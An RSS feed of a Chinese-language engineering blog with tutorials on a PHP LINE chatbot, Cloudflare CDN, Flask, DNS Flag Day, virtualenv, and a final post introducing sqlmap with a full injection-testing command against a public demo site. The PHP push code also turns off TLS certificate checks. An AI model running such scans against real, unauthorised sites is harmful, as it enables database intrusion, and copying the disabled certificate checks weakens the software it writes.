<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[小小工程師的日常筆記]]></title> 
<link>https://xdeath.tw/index.php</link> 
<description><![CDATA[]]></description> 
<language>zh-tw</language> 
<copyright><![CDATA[小小工程師的日常筆記]]></copyright>
<item>
<link>https://xdeath.tw/read.php?85</link>
<title><![CDATA[如何建立Line 聊天機器人]]></title> 
<author>admin &lt;tszheng@twnic.net.tw&gt;</author>
<category><![CDATA[預設分類]]></category>
<pubDate>Mon, 10 May 2021 03:45:30 +0000</pubDate> 
<guid>https://xdeath.tw/read.php?85</guid> 
<description>
<![CDATA[ 
	在台灣幾乎每個人都有Line帳號，很多公事、同學聯繫也都依靠LINE<br/><br/>這篇文章就是紀錄怎麼開發一個LINE聊天機器人，能夠主動發送訊息<br/><br/>取代以往用簡訊或EMAIL提醒的功能，畢竟大家會去看LINE的頻率應該<br/><br/>比打開手機/電腦看email的頻率要高吧。<br/><br/><strong><span style="color: #FF0000;"><span style="font-size: 18px;">[建立機器人]</span></span></strong><br/><br/>首先從<a href="https://developers.line.biz/console/?status=success" target="_blank">網頁</a>上登入進入developers，登入你的line帳號後<br/><br/>建立一個channels，進入MessageAPI中，可以取得你的Channel access token<br/><br/>接著再Basic Setting中可以找到你的Channel secret，以及user id，先把這<br/><br/>幾個資訊記錄下來。<br/><br/>接著到MessageAPI中，有一個QR code，妳可以開啟你的LINE掃描，就可以將<br/><br/>這個line機器人加入成為朋友了；在這邊你也可以設定是否可以自動加入朋友<br/><br/>自動回覆訊息、加入好友歡迎訊息等設定，基本上一個沒有任何功能的機器人。<br/><br/>就完成了。<br/><br/><strong><span style="color: #FF0000;"><span style="font-size: 18px;">[傳送與回覆訊息]</span></span></strong><br/><br/>line機器人傳送訊息只是透過簡單的WEB API，再header加上剛剛取得的access token<br/><br/>並將要傳送的對象，訊息內容用json格式包起來<br/><br/>以php為例<br/><br/>傳送給某一位朋友或是一個聊天室<br/><br/><div class="code"><br/>function push($message)<br/>&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;global $channelAccessToken;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$payload = &#91;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#039;to&#039; =&gt; &quot;要傳送對象的userID&quot;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#039;messages&#039; =&gt; &#91;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#91;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#039;type&#039; =&gt; &#039;text&#039;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#039;text&#039; =&gt; $message<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#93;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#93;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#93;;<br/>// Send Request by CURL<br/>&nbsp;&nbsp;&nbsp;&nbsp;$ch = curl_init();<br/>&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_URL, &#039;https://api.line.me/v2/bot/message/push&#039;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_POST, true);<br/>&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_CUSTOMREQUEST, &#039;POST&#039;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br/>&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);<br/>&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<br/>&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));<br/>&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_HTTPHEADER, &#91;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#039;Content-Type: application/json&#039;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#039;Authorization: Bearer &#039; . $channelAccessToken<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#93;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;$result = curl_exec($ch);<br/>&nbsp;&nbsp;&nbsp;&nbsp;curl_close($ch);<br/>&#125; <br/></div><br/><br/><script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script><ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-1292700168892016" data-ad-slot="3191226934" data-ad-format="auto" data-full-width-responsive="true"></ins><script>(adsbygoogle = window.adsbygoogle &#124;&#124; []).push(&#123;&#125;);</script>&nbsp;&nbsp;<br/><br/>在payload中放入要傳送的對象以及內容即可(如何取得userid或是group id後面會再提到)。<br/><br/>傳送給所有人的話方法一樣，URL改成https://api.line.me/v2/bot/message/multicast 即可<br/><br/>若機器人單純只是要主動傳送訊息到這邊即可。<br/><br/><strong><span style="color: #FF0000;"><span style="font-size: 18px;">[接收訊息以及webhook]</span></span></strong><br/><br/>在MessageAPI中有一個webhook設定，webhook是類似一個中介的作用，可以攔截所有的原始訊息<br/><br/>可以透過webhook找到使用者/群組的ID，也可以依據使用者傳送的訊息進行回覆。<br/><br/>首先你必須要申請一個網站，以及https的憑證，設定完Webhook URL後點下verify，顯示成功後<br/><br/>接著到webhook的網頁上放上這兩行<br/><br/>$json_string = file_get_contents('php://input');<br/><br/>error_log($json_string);<br/><br/>接著到聊天室中隨便點傳一個訊息，在/var/log/httpd/ssl_error_log中就可以看到類似下面的內容<br/><br/><div class="code"><br/>&#123;<br/>&nbsp;&nbsp;&quot;destination&quot;:&quot;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&quot;,<br/>&nbsp;&nbsp;&quot;events&quot;:<br/>&nbsp;&nbsp;&#91;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;type&quot;:&quot;message&quot;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;message&quot;:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;type&quot;:&quot;text&quot;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;id&quot;:&quot;xxxxxxxxxxxxxxxxxxxx&quot;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;text&quot;:&quot;123&quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;timestamp&quot;:1620617008589,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;source&quot;:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;type&quot;:&quot;user&quot;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;userId&quot;:&quot;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&quot;&nbsp;&nbsp;#從這邊可以取得你的ID，或是群組的ID<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;replyToken&quot;:&quot;token&quot;,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#如果要回覆訊息需要加上這個token<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;mode&quot;:&quot;active&quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&#93;<br/>&#125;<br/></div><br/><br/>可以看到詳細的一些內容，要回覆訊息的話就是依據text的內容去呼叫reply得函式<br/><br/>以下的範例就是當收到有人說"測試"時，使用reply回覆"測試回覆"。<br/><br/><div class="code"><br/>&nbsp;&nbsp;&nbsp;&nbsp;$access_token =&#039;access_token&#039;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$json_string = file_get_contents(&#039;php://input&#039;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;$json_obj = json_decode($json_string);<br/>&nbsp;&nbsp;&nbsp;&nbsp;$event = $json_obj-&gt;&#123;&quot;events&quot;&#125;&#91;0&#93;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message = $event-&gt;&#123;&quot;message&quot;&#125;-&gt;&#123;&quot;text&quot;&#125;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$reply_token = $event-&gt;&#123;&quot;replyToken&quot;&#125;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if($message == &quot;測試&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;reply(&quot;測試回覆&quot;,$reply_token);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;function reply($message,$reply_token)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global $access_token;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$post_data = &#91;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;replyToken&quot; =&gt; $reply_token,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;messages&quot; =&gt; &#91;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;type&quot; =&gt; &quot;text&quot;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;text&quot; =&gt; $message<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#93;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#93;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#93;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ch = curl_init(&quot;https://api.line.me/v2/bot/message/reply&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_POST, true);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_CUSTOMREQUEST, &#039;POST&#039;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_HTTPHEADER, array(<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;Content-Type: application/json&#039;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;Authorization: Bearer &#039;.$access_token<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$result = curl_exec($ch);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_close($ch);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/></div><br/><br/>PS：Line機器人有付費的版本也有免費的版本，免費版有限制每個月可以"主動"發送訊息的數量，但是回覆訊息的<br/><br/>數量是沒有限制的。
]]>
</description>
</item><item>
<link>https://xdeath.tw/read.php?81</link>
<title><![CDATA[如何設定cloudflare的CDN與免費https服務]]></title> 
<author>admin &lt;tszheng@twnic.net.tw&gt;</author>
<category><![CDATA[預設分類]]></category>
<pubDate>Wed, 18 Mar 2020 06:40:33 +0000</pubDate> 
<guid>https://xdeath.tw/read.php?81</guid> 
<description>
<![CDATA[ 
	cloudflare美國加州的一家公司，他們最為人了解的就是免費提供的DNS代管以及CDN的服務<br/><br/>所謂的CDN就是把你的網站內容利用BGP anycast的技術放到cloudflare在世界上多個資料中心內<br/><br/>達到分散流量並且加快網站的連線速度。<br/><br/>首先先到cloudflare的<a href="https://www.cloudflare.com/" target="_blank">網站</a>右上角的sign up註冊一個新帳號<br/><br/>註冊登入後，點選add a site，輸入你註冊的網域名稱(有些免費的無法使用)<br/><br/><a href="https://xdeath.tw/attachment.php?fid=12" target="_blank"><img src="https://xdeath.tw/attachment.php?fid=12" class="insertimage" alt="點擊在新視窗中瀏覽此圖片" title="點擊在新視窗中瀏覽此圖片" border="0"/></a><br/><br/>接著選擇你的方案，基本上可以先用免費的進行試用，付費版還有更多進階的功能<br/><br/><a href="https://xdeath.tw/attachment.php?fid=13" target="_blank"><img src="https://xdeath.tw/attachment.php?fid=13" class="insertimage" alt="點擊在新視窗中瀏覽此圖片" title="點擊在新視窗中瀏覽此圖片" border="0"/></a><br/><br/>等大約一分鐘，他會掃描你現在的域名底下有哪些DNS record的設定<br/><br/><a href="https://xdeath.tw/attachment.php?fid=14" target="_blank"><img src="https://xdeath.tw/attachment.php?fid=14" class="insertimage" alt="點擊在新視窗中瀏覽此圖片" title="點擊在新視窗中瀏覽此圖片" border="0"/></a><br/><br/>第一個欄位是你的網站網址，接著是你現在網站的IP，最後一欄是是否啟用他的proxy<br/><br/><a href="https://xdeath.tw/attachment.php?fid=17" target="_blank"><img src="https://xdeath.tw/attachment.php?fid=17" class="insertimage" alt="點擊在新視窗中瀏覽此圖片" title="點擊在新視窗中瀏覽此圖片" border="0"/></a><br/><br/>因為我們等等要用cloudflare的https，所以這邊會選擇把proxy啟用<br/><br/>接著我們需要將DNS交給cloudflare進行代管，他會給你兩個dns主機進行設定<br/><br/><a href="https://xdeath.tw/attachment.php?fid=15" target="_blank"><img src="https://xdeath.tw/attachment.php?fid=15" class="insertimage" alt="點擊在新視窗中瀏覽此圖片" title="點擊在新視窗中瀏覽此圖片" border="0"/></a><br/><br/>接下來你就要到自己註冊DNS的地方設定，你要將DNS指定到cloudflare這兩個DNS主機上<br/><br/>當然設定前還是要先把你原本的DNS所有record手動紀錄一下，之後還是要在cloudflare的DNS<br/><br/>上將這些record重新設定上去。<br/><br/>接著他會問你https的設定，off是不啟用，Flexible就是我們現在要用的<br/><br/><a href="https://xdeath.tw/attachment.php?fid=21" target="_blank"><img src="https://xdeath.tw/attachment.php?fid=21" class="insertimage" alt="點擊在新視窗中瀏覽此圖片" title="點擊在新視窗中瀏覽此圖片" border="0"/></a><br/><br/>同時把永遠使用https開起來<br/><br/><a href="https://xdeath.tw/attachment.php?fid=17" target="_blank"><img src="https://xdeath.tw/attachment.php?fid=17" class="insertimage" alt="點擊在新視窗中瀏覽此圖片" title="點擊在新視窗中瀏覽此圖片" border="0"/></a><br/><br/>接著大約等10~15分鐘，cloudflare會進行一些測試，同時DNS也需要一點時間生效<br/><br/>你可以測試ping自己的網站，如果顯示的IP已經不是原本自己的主機IP<br/><br/>同時網頁也可以看到內容，就表示都完成生效了<br/><br/>這樣子使用者要拜訪到你的網站，就會先到cloudflare的proxy<br/><a href="https://xdeath.tw/attachment.php?fid=20" target="_blank"><img src="https://xdeath.tw/attachment.php?fid=20" class="insertimage" alt="點擊在新視窗中瀏覽此圖片" title="點擊在新視窗中瀏覽此圖片" border="0"/></a><br/>這一段就會使用cloudflare所簽屬的https憑證<br/><br/><script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script><ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-1292700168892016" data-ad-slot="3191226934" data-ad-format="auto" data-full-width-responsive="true"></ins><script>(adsbygoogle = window.adsbygoogle &#124;&#124; []).push(&#123;&#125;);</script>&nbsp;&nbsp;<br/><br/>接著cloudflare的proxy再透過未加密的http去你的網站真實的IP上取得網站內容回應給使用者<br/><br/>這樣第一個好處就是當被攻擊的時候，cloudflare的proxy會在前面先承受攻擊<br/><br/>而不會直接攻擊到你的網頁伺服器<br/><br/>第二個好處是由於它的憑證是免費的，現在如果自己去簽屬免費的憑證可能三個月就要重新申請一次<br/><br/>如果使用cloudflare的CDN就不會有這種常常要重新申請的困擾。<br/><br/>另外cloudfalre還提供許多加值的服務，例如DNS代管、DNSSEC、防火牆、統計報表...<br/><br/>另外要記得進入DNS將原本設定的其他dns record重新設定上去<br/><br/><a href="https://xdeath.tw/attachment.php?fid=19" target="_blank"><img src="https://xdeath.tw/attachment.php?fid=19" class="insertimage" alt="點擊在新視窗中瀏覽此圖片" title="點擊在新視窗中瀏覽此圖片" border="0"/></a><br/><br/>其他的非網站的record，如果沒有要經過proxy(例如mail server)記得最後面的proxy就要取消掉<br/><br/>有些需要付費，有些是免費的，大家可以依照自己的需求升級自己的功能<br/><br/>進入主控台後，右邊有一個Active Subscriptions，點選change可以升級你的帳號版本<br/><br/><a href="https://xdeath.tw/attachment.php?fid=20" target="_blank"><img src="https://xdeath.tw/attachment.php?fid=20" class="insertimage" alt="點擊在新視窗中瀏覽此圖片" title="點擊在新視窗中瀏覽此圖片" border="0"/></a><br/>
]]>
</description>
</item><item>
<link>https://xdeath.tw/read.php?76</link>
<title><![CDATA[python web api]]></title> 
<author>admin &lt;tszheng@twnic.net.tw&gt;</author>
<category><![CDATA[預設分類]]></category>
<pubDate>Mon, 11 Mar 2019 02:48:26 +0000</pubDate> 
<guid>https://xdeath.tw/read.php?76</guid> 
<description>
<![CDATA[ 
	首先安裝flask套件<br/><br/>pip install flask<br/><br/>用flask模擬一個5000 PORT的web server<br/><br/><div class="code"><br/>from flask import abort<br/>from flask import Flask, jsonify, request<br/>app = Flask(__name__)<br/><br/>@app.route(&#039;/&#039;, methods=&#91;&#039;GET&#039;&#93;)<br/>def hello():<br/>&nbsp;&nbsp;&nbsp;&nbsp;return &#039;hello world!&#039;<br/>if __name__ == &#039;__main__&#039;:<br/>&nbsp;&nbsp;&nbsp;&nbsp;app.run(host=&#039;0.0.0.0&#039;, port=5000 ,debug=True)&nbsp;&nbsp;#host=0.0.0.0就是開放所有人連線,127.0.0.1就是只接受本機連線<br/></div><br/><br/>接下來用瀏覽器去連http://ip:5000，就會看到hello world!<br/><br/>一個頁面大概像下面這樣，method有POST、GET、PUT、DELETE<br/><br/>我比較常用的就是POST跟GET為主<br/><div class="code"><br/>@app.route(路徑,methods=&#91;&#039;GET&#039;,&#039;POST&#039;&#93;)&nbsp;&nbsp;#路徑,允許的方法<br/>def function():<br/>&nbsp;&nbsp;&nbsp;&nbsp;要做的動作<br/>&nbsp;&nbsp;&nbsp;&nbsp;return &#039;要回傳的值&#039;<br/></div><br/><br/>那POST要怎麼接收值呢，其實就是用request.form<br/><br/>假設我們要接收一個datetime的參數<br/><div class="code"><br/>@app.route(&#039;/post&#039;,methods&#91;&#039;POST&#039;&#93;)<br/>def function():<br/>&nbsp;&nbsp;&nbsp;&nbsp;datetime = request.form&#91;&#039;datetime&#039;&#93;<br/>&nbsp;&nbsp;&nbsp;&nbsp;return &#039;要回傳的值&#039;<br/></div><br/><br/>比較麻煩的是如果使用者丟上來的參數沒有datetime，程式就會出錯<br/><br/>所以如果這是必要欄位建議還是用try去接收<br/><br/><div class="code"><br/>@app.route(&#039;/post&#039;,methods&#91;&#039;POST&#039;&#93;)<br/>def function():<br/>&nbsp;&nbsp;&nbsp;&nbsp;try:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;datetime = request.form&#91;&#039;datetime&#039;&#93;<br/>&nbsp;&nbsp;&nbsp;&nbsp;except:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return &#039;error&#039;<br/>&nbsp;&nbsp;&nbsp;&nbsp;return &#039;要回傳的值&#039;<br/></div><br/><br/>如果是GET<br/><br/><div class="code"><br/>@app.route(&#039;/test/&#039;,methods=&#91;&#039;GET&#039;&#93;)<br/>def get_task():<br/>&nbsp;&nbsp;&nbsp;&nbsp;return request.args.get(&quot;task_id&quot;)&nbsp;&nbsp; #直接取得參數<br/></div><br/><br/>用瀏覽器連http://ip:5000/test/?task_id=123，就會看到123<br/><br/>如果是希望在連線沒有這個URL的時候不要跳出DEBUG的錯誤訊息，而是404之類的話<br/><br/>就在前面加上<br/><br/><div class="code"><br/>@app.errorhandler(404)<br/>def not_found(error):<br/>&nbsp;&nbsp;&nbsp;&nbsp;return &#039;404&#039;<br/></div><br/><br/>要取得USER到底是用post、get、put、delete的話<br/><br/>request.method(注意取得的值是大寫的GET、POST...)<br/><br/>取得使用者的IP&nbsp;&nbsp;request.remote_addr<br/><br/>另外如果要設定timeout之類的話，很像單純只靠flask內建的web是做不到的<br/><br/>要搭配其他的module或是將執行的動作寫到另一個程式內<br/><br/>用os.popen去呼叫，並且在該程式使用multithread去計算是否有逾時<br/><br/>如果逾時則回覆504之類的...
]]>
</description>
</item><item>
<link>https://xdeath.tw/read.php?74</link>
<title><![CDATA[DNS Flag Day ]]></title> 
<author>admin &lt;tszheng@twnic.net.tw&gt;</author>
<category><![CDATA[預設分類]]></category>
<pubDate>Wed, 30 Jan 2019 03:08:06 +0000</pubDate> 
<guid>https://xdeath.tw/read.php?74</guid> 
<description>
<![CDATA[ 
	最近的大新聞是 DNS Flag Day！我還以為是胡扯，結果查一下還真有這個東西。<br/><br/>官方網頁在這邊：<a href="https://dnsflagday.net" target="_blank">https://dnsflagday.net</a>/<br/><br/>重點應該其實在於您的 DNS 權威伺服器有沒有支援 EDNS 的協議，如果沒有，<br/>那在 2019/2/1 號以後，使用 8.8.8.8 或是 1.1.1.1 等大型公用 DNS 將會無法解析。<br/><br/>DNS flag day 是什麼？<br/>DNS 內有一個延伸安全協定叫做 EDNS，主要提供 DNS 的安全性功能，譬如 DNSSEC <br/>與 擴展 DNS 封包。這些功能能夠幫助 DNS 的查詢更加安全。因為 DNS 本身的設計問<br/>題，當初並考慮太多安全的設計。所以造成一些 DNS 詐騙或是污染。<br/><br/>但因為啟用 EDNS 之後，會造成封包變大，主機負載會變重，再過去硬體昂貴的年代<br/>，影響很大，所以很多 DNS 軟體會繞過 EDNS 協議，在速度與安全之間妥協。而公用<br/> DNS 就是其中一個我們常用的服務，公用 DNS 大部分來說會繞過(Workaround) EDN<br/>S 來減低負載並提高速度。<br/><br/>但 Google、CloudFlare、IBM 等擁有公用 DNS 的大型廠商將於 2019/2/1 號之後開始將<br/> 8.8.8.8、1.1.1.1 與 9.9.9.9 停止繞過 EDNS，並且強制使用 EDNS 協議。<br/><br/>對你的影響是什麼？<br/>其實重點應該是在權威伺服器，也就是大家知道的 DNS 代管服務商，他們使用的 DNS <br/>主機有沒有將 DNS 軟體更新到新的版本。更新到新版軟體之後，自然對 EDNS 協議的<br/>支援度就沒有問題。<br/><br/>如果他們還是使用舊版本的軟體，則公用 DNS 在對主機做查詢的時候，就會自動失效。<br/>或是他們公司的防火牆 (任何主機之前的資安設備) 若是沒有支援 EDNS，同樣會失效，<br/>通常防火牆設備會是比較大的問題。<br/><br/>我怎麼知道沒有支援 EDNS<br/>你只要打開 https://dnsflagday.net/ 然後在中間的地方，下面的方框中，填入你的網域<br/>名稱，就可知道你的 DNS 代管(權威伺服器)，有沒有支援 EDNS。<br/><br/>轉自哈維的部落格：<a href="https://blog.rsync.tw/dns-flag-day/" target="_blank">https://blog.rsync.tw/dns-flag-day/</a><br/>感恩哈維，讚嘆哈維~
]]>
</description>
</item><item>
<link>https://xdeath.tw/read.php?73</link>
<title><![CDATA[[python] virtualenv虛擬環境]]></title> 
<author>admin &lt;tszheng@twnic.net.tw&gt;</author>
<category><![CDATA[預設分類]]></category>
<pubDate>Wed, 17 Oct 2018 13:24:55 +0000</pubDate> 
<guid>https://xdeath.tw/read.php?73</guid> 
<description>
<![CDATA[ 
	python本身在開發的時候有一個虛擬環境，可以把一些會依賴到的library獨立出來<br/><br/>這樣如果要更換作業系統或是環境的時候比較容易整包帶走<br/><br/>在寫一些文件，需要知道安裝了那些套件時也比較容易釐清<br/><br/>首先需要安裝virtualenv，如果安裝的是開發環境之類的應該預設就有了<br/><br/>建立專案資料夾 virtualenv pytest，這樣就會建立一個pytest的資料夾<br/><br/>裡面有bin&nbsp;&nbsp;include&nbsp;&nbsp;lib&nbsp;&nbsp;local等資料夾，pip安裝的module也會另外放在裡面...<br/><br/>如果你要用不同版本的python(python 2跟3差蠻多的)，可以指定用哪一個版本的python<br/><br/>virtualenv -p /usr/bin/python2.7 pytest<br/><br/>等出現Installing setuptools, pip, wheel...done就表示安裝完成了<br/><br/>接著進入虛擬環境<br/><br/>source pytest/bin/activate<br/><br/>最前面就會多一個pytest的標記<br/><br/>(pytest) root@py#<br/><br/>要退出就deactivate<br/><br/>另外要打包安裝的套件清單的話<br/><br/>pip freeze > requirements.txt<br/><br/>這樣要移到其他系統就可以根據requirements.txt進行一次安裝<br/><br/>pip install -r requirements.txt<br/><br/>當開發完畢或是整個專案要進行打包時，只要將整個pytest資料夾帶走<br/><br/>再安裝套件列表或是整個資料夾刪除就可以了<br/><br/>另外，如果是用python3所建立的虛擬環境，這樣整包帶走就會有問題<br/><br/>這時候你只能在新的機器上先建立一個新的python3環境<br/><br/>virtualenv -p /usr/bin/python3 pytest<br/><br/>source pytest/bin/activate<br/><br/>將你開發的程式以及requirements.txt複製進來後<br/><br/>pip install -r requirements.txt<br/><br/>這樣就能夠執行了
]]>
</description>
</item><item>
<link>https://xdeath.tw/read.php?69</link>
<title><![CDATA[sqlmap簡介]]></title> 
<author>admin &lt;tszheng@twnic.net.tw&gt;</author>
<category><![CDATA[預設分類]]></category>
<pubDate>Wed, 02 Aug 2017 02:35:34 +0000</pubDate> 
<guid>https://xdeath.tw/read.php?69</guid> 
<description>
<![CDATA[ 
	之前有講到網頁程式的一些安全防護，這邊要介紹一個工具sqlmap<br/><br/>這是一個專門測試是否具有sql injection漏洞的強大工具，建議對一些demo網站練習就好<br/><br/>如果要對別人網站使用之前，可能要考慮一下法律方面的問題<br/><br/><br/><br/>======================================================<br/><br/>Demo網站<br/><br/>一. http://demo.testfire.net/<br/>二. http://testasp.vulnweb.com/<br/>三. http://testphp.vulnweb.com/<br/>四. http://testasp.vulnweb.com/<br/>五. http://testhtml5.vulnweb.com/<br/>六. http://google-gruyere.appspot.com/start<br/><br/>======================================================<br/><br/>首先sqlmap是一個用python開發的工具，所以要先安裝python接著再到git上下載最新版的sqlmap...<br/><br/>安裝的部分網頁上有很多可以參考<br/><br/>接著我們要入侵的第一步，找到網頁的注入點，也就是必須要有地方讓你輸入資料<br/><br/>所以我們必須先收集這些可以輸入資料的地方，當作注入點(可以使用google hacker之類的技術)<br/><br/>以http://testphp.vulnweb.com/&nbsp;&nbsp;為例，選擇登入的頁面，就有讓你輸入帳號與密碼的欄位<br/><br/>當看到這些欄位時，如果你熟悉sql injection發生的原因，就可以在輸入一些對資料庫來說<br/><br/>一些特殊意義的字元做測試(單引號 ' ，註解//&nbsp;&nbsp;#&nbsp;&nbsp;/*&nbsp;&nbsp;*/)之類的，如果對方程式沒寫好<br/><br/>很可能就會直接跳出一些錯誤訊息給你，我們就可以直接判斷這個網頁存在sql injection的弱點<br/><br/>當找到相關的欄位後，可以使用firefox的plugin - live http headers之類的工具，開始抓取我們送出去的資料<br/><br/>例如我們帳號admin密碼也使用admin送出後，可以從抓到的資料裡面抓到這行<br/><br/>uname=admin&pass=admin: undefined<br/><br/>這就是我們送出去的資料，這時候我們就可以開始用sqlmap簡單的進行測試<br/><br/>./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" --threads=4 --level=3 --risk=3 